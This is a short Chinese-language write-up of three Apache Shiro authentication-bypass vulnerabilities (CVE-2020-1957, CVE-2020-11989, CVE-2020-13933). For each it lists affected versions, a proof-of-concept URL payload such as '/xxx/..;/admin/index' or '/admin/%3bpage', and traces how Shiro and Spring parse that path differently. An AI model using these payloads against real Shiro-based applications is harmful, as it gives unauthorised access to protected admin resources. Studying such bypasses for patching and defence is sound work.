# CVE-2020-1957 & CVE-2020-11989 & CVE-2020-13933 权限绕过
## CVE-2020-1957
影响版本:
– Shiro <= 1.5.2 (Spring 框架中采用 Shiro 鉴权) Poc: ``` /xxx/..;/admin/index ``` 用户发起请求 `/xxx/..;/admin/index` => Shiro 处理之后返回 `/xxx/..` 通过校验 => SpringBoot 处理 `/xxx/..;/admin/index` 返回 `/admin/index`,成功访问到需要权限校验的资源。
## CVE-2020-11989
影响版本:
– Shiro < 1.5.3(Spring 框架中采用 Shiro 鉴权) Poc: ``` /test/admin/a%25%32%66a /;/test/admin/page ``` > 应用不能部署在根目录,也就是需要 context-path,server.servlet.context-path=/test,如果为根目录则 context-path 为空,就会被 CVE-2020-1957 的 patch 将 URL 格式化,值得注意的是若 Shiro 版本小于 1.5.2 的话那么该条件就不需要。
`/test/admin/a%25%32%66a` => Shiro 自动解码 `/test/admin/a%2fa` => decodeRequestString `/test/admin/a/a` 不符合 Ant 格式的 Shiro 拦截器 `map.put(“/admin/*”, “authc”)` => Spring `@GetMapping(“/admin/{name}”)` 路由转发
## CVE-2020-13933
影响版本:
– Shiro < 1.6.0(Spring 框架中采用 Shiro 鉴权) Poc: ``` /admin/%3bpage ``` `/admin/%3bpage` => Shiro getPathWithinApplication `/admin/;page`, removeSemicolon 根据 `;` 截断返回 uri `/admin/` => 无法命中拦截器 `map.put(“/hello/*”, “authc”)` 成功绕过。
[@l1nk3r](https://mp.weixin.qq.com/s/E4eEReDhqEFPWN6AN-N10A)
请登录后查看评论内容